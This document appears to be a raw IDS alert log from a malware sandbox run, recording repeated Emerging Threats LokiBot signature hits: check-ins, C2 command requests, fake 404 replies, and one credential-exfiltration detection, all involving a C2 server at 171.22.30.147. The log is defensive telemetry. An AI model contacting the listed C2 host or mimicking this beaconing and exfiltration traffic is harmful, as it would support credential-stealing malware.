Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749917802024318 01/05/23-08:53:15.635846
SID:	2024318
Source Port:	49917
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497712025483 01/05/23-08:52:31.457724
SID:	2025483
Source Port:	80
Destination Port:	49771
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749996802025381 01/05/23-08:53:38.933239
SID:	2025381
Source Port:	49996
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750023802024318 01/05/23-08:53:47.546596
SID:	2024318
Source Port:	50023
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497382025483 01/05/23-08:52:22.148864
SID:	2025483
Source Port:	80
Destination Port:	49738
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749699802024317 01/05/23-08:52:06.870270
SID:	2024317
Source Port:	49699
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749917802024313 01/05/23-08:53:15.635846
SID:	2024313
Source Port:	49917
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497162025483 01/05/23-08:52:14.437339
SID:	2025483
Source Port:	80
Destination Port:	49716
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749913802825766 01/05/23-08:53:14.593137
SID:	2825766
Source Port:	49913
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750057802825766 01/05/23-08:53:56.743180
SID:	2825766
Source Port:	50057
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749729802825766 01/05/23-08:52:19.554519
SID:	2825766
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749741802021641 01/05/23-08:52:22.916909
SID:	2021641
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749783802025381 01/05/23-08:52:36.372208
SID:	2025381
Source Port:	49783
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749801802024318 01/05/23-08:52:41.371912
SID:	2024318
Source Port:	49801
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500652025483 01/05/23-08:53:58.921375
SID:	2025483
Source Port:	80
Destination Port:	50065
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749838802025381 01/05/23-08:52:52.824149
SID:	2025381
Source Port:	49838
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749954802021641 01/05/23-08:53:25.726692
SID:	2021641
Source Port:	49954
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750079802021641 01/05/23-08:54:02.588823
SID:	2021641
Source Port:	50079
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749861802025381 01/05/23-08:52:59.149010
SID:	2025381
Source Port:	49861
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750006802025381 01/05/23-08:53:41.552586
SID:	2025381
Source Port:	50006
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749876802021641 01/05/23-08:53:03.175112
SID:	2021641
Source Port:	49876
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499852025483 01/05/23-08:53:36.104350
SID:	2025483
Source Port:	80
Destination Port:	49985
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500432025483 01/05/23-08:53:53.036023
SID:	2025483
Source Port:	80
Destination Port:	50043
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749780802825766 01/05/23-08:52:35.511333
SID:	2825766
Source Port:	49780
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749884802825766 01/05/23-08:53:05.293982
SID:	2825766
Source Port:	49884
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749875802825766 01/05/23-08:53:02.907470
SID:	2825766
Source Port:	49875
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499662025483 01/05/23-08:53:31.030517
SID:	2025483
Source Port:	80
Destination Port:	49966
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749827802024313 01/05/23-08:52:48.461129
SID:	2024313
Source Port:	49827
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499252025483 01/05/23-08:53:17.956704
SID:	2025483
Source Port:	80
Destination Port:	49925
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749847802825766 01/05/23-08:52:55.372015
SID:	2825766
Source Port:	49847
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749752802825766 01/05/23-08:52:26.039085
SID:	2825766
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499222025483 01/05/23-08:53:17.153460
SID:	2025483
Source Port:	80
Destination Port:	49922
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749715802025381 01/05/23-08:52:14.021138
SID:	2025381
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749706802025381 01/05/23-08:52:09.771973
SID:	2025381
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750023802024313 01/05/23-08:53:47.546596
SID:	2024313
Source Port:	50023
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749918802825766 01/05/23-08:53:15.920283
SID:	2825766
Source Port:	49918
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497462025483 01/05/23-08:52:24.379899
SID:	2025483
Source Port:	80
Destination Port:	49746
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749874802024318 01/05/23-08:53:02.624496
SID:	2024318
Source Port:	49874
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749829802025381 01/05/23-08:52:49.001962
SID:	2025381
Source Port:	49829
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749874802024313 01/05/23-08:53:02.624496
SID:	2024313
Source Port:	49874
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749827802024318 01/05/23-08:52:48.461129
SID:	2024318
Source Port:	49827
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749732802024318 01/05/23-08:52:20.401546
SID:	2024318
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750018802021641 01/05/23-08:53:44.999195
SID:	2021641
Source Port:	50018
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749899802025381 01/05/23-08:53:10.169881
SID:	2025381
Source Port:	49899
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749732802024313 01/05/23-08:52:20.401546
SID:	2024313
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749945802024318 01/05/23-08:53:23.275014
SID:	2024318
Source Port:	49945
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749885802021641 01/05/23-08:53:05.575803
SID:	2021641
Source Port:	49885
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749734802025381 01/05/23-08:52:20.978367
SID:	2025381
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749930802025381 01/05/23-08:53:19.220224
SID:	2025381
Source Port:	49930
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750048802025381 01/05/23-08:53:54.265201
SID:	2025381
Source Port:	50048
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749957802024313 01/05/23-08:53:26.768134
SID:	2024313
Source Port:	49957
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750053802021641 01/05/23-08:53:55.636070
SID:	2021641
Source Port:	50053
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497872025483 01/05/23-08:52:37.593230
SID:	2025483
Source Port:	80
Destination Port:	49787
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749716802024318 01/05/23-08:52:14.357533
SID:	2024318
Source Port:	49716
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749708802825766 01/05/23-08:52:10.789251
SID:	2825766
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749717802825766 01/05/23-08:52:14.673219
SID:	2825766
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497652025483 01/05/23-08:52:29.829156
SID:	2025483
Source Port:	80
Destination Port:	49765
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749890802024313 01/05/23-08:53:06.934564
SID:	2024313
Source Port:	49890
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750049802024313 01/05/23-08:53:54.543372
SID:	2024313
Source Port:	50049
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749701802021641 01/05/23-08:52:07.731855
SID:	2021641
Source Port:	49701
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749914802021641 01/05/23-08:53:14.852027
SID:	2021641
Source Port:	49914
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750049802024318 01/05/23-08:53:54.543372
SID:	2024318
Source Port:	50049
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749890802024318 01/05/23-08:53:06.934564
SID:	2024318
Source Port:	49890
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749901802825766 01/05/23-08:53:11.357263
SID:	2825766
Source Port:	49901
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749704802021641 01/05/23-08:52:08.934535
SID:	2021641
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750069802825766 01/05/23-08:53:59.913079
SID:	2825766
Source Port:	50069
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749739802021641 01/05/23-08:52:22.339123
SID:	2021641
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749716802024313 01/05/23-08:52:14.357533
SID:	2024313
Source Port:	49716
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750040802825766 01/05/23-08:53:52.135869
SID:	2825766
Source Port:	50040
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750081802021641 01/05/23-08:54:03.233046
SID:	2021641
Source Port:	50081
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749888802021641 01/05/23-08:53:06.392338
SID:	2021641
Source Port:	49888
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749735802024318 01/05/23-08:52:21.259701
SID:	2024318
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749871802024313 01/05/23-08:53:01.829225
SID:	2024313
Source Port:	49871
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749873802025381 01/05/23-08:53:02.352866
SID:	2025381
Source Port:	49873
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749942802021641 01/05/23-08:53:22.441601
SID:	2021641
Source Port:	49942
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750009802021641 01/05/23-08:53:42.368696
SID:	2021641
Source Port:	50009
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749826802025381 01/05/23-08:52:48.184567
SID:	2025381
Source Port:	49826
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749743802025381 01/05/23-08:52:23.467755
SID:	2025381
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749871802024318 01/05/23-08:53:01.829225
SID:	2024318
Source Port:	49871
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749956802025381 01/05/23-08:53:26.250117
SID:	2025381
Source Port:	49956
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749872802825766 01/05/23-08:53:02.084337
SID:	2825766
Source Port:	49872
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498512025483 01/05/23-08:52:56.520867
SID:	2025483
Source Port:	80
Destination Port:	49851
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500212025483 01/05/23-08:53:46.439893
SID:	2025483
Source Port:	80
Destination Port:	50021
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500272025483 01/05/23-08:53:48.680434
SID:	2025483
Source Port:	80
Destination Port:	50027
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749781802024313 01/05/23-08:52:35.821668
SID:	2024313
Source Port:	49781
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498182025483 01/05/23-08:52:46.103882
SID:	2025483
Source Port:	80
Destination Port:	49818
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749781802024318 01/05/23-08:52:35.821668
SID:	2024318
Source Port:	49781
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749887802825766 01/05/23-08:53:06.117016
SID:	2825766
Source Port:	49887
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749731802825766 01/05/23-08:52:20.113614
SID:	2825766
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750046802025381 01/05/23-08:53:53.748051
SID:	2025381
Source Port:	50046
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749848802024313 01/05/23-08:52:55.640788
SID:	2024313
Source Port:	49848
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749826802825766 01/05/23-08:52:48.184567
SID:	2825766
Source Port:	49826
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749825802024318 01/05/23-08:52:47.903129
SID:	2024318
Source Port:	49825
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749844802825766 01/05/23-08:52:54.549139
SID:	2825766
Source Port:	49844
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749703802825766 01/05/23-08:52:08.565296
SID:	2825766
Source Port:	49703
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750066802825766 01/05/23-08:53:59.096230
SID:	2825766
Source Port:	50066
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750020802024318 01/05/23-08:53:45.631791
SID:	2024318
Source Port:	50020
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497192025483 01/05/23-08:52:15.922866
SID:	2025483
Source Port:	80
Destination Port:	49719
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749825802024313 01/05/23-08:52:47.903129
SID:	2024313
Source Port:	49825
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750020802024313 01/05/23-08:53:45.631791
SID:	2024313
Source Port:	50020
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497242025483 01/05/23-08:52:18.178959
SID:	2025483
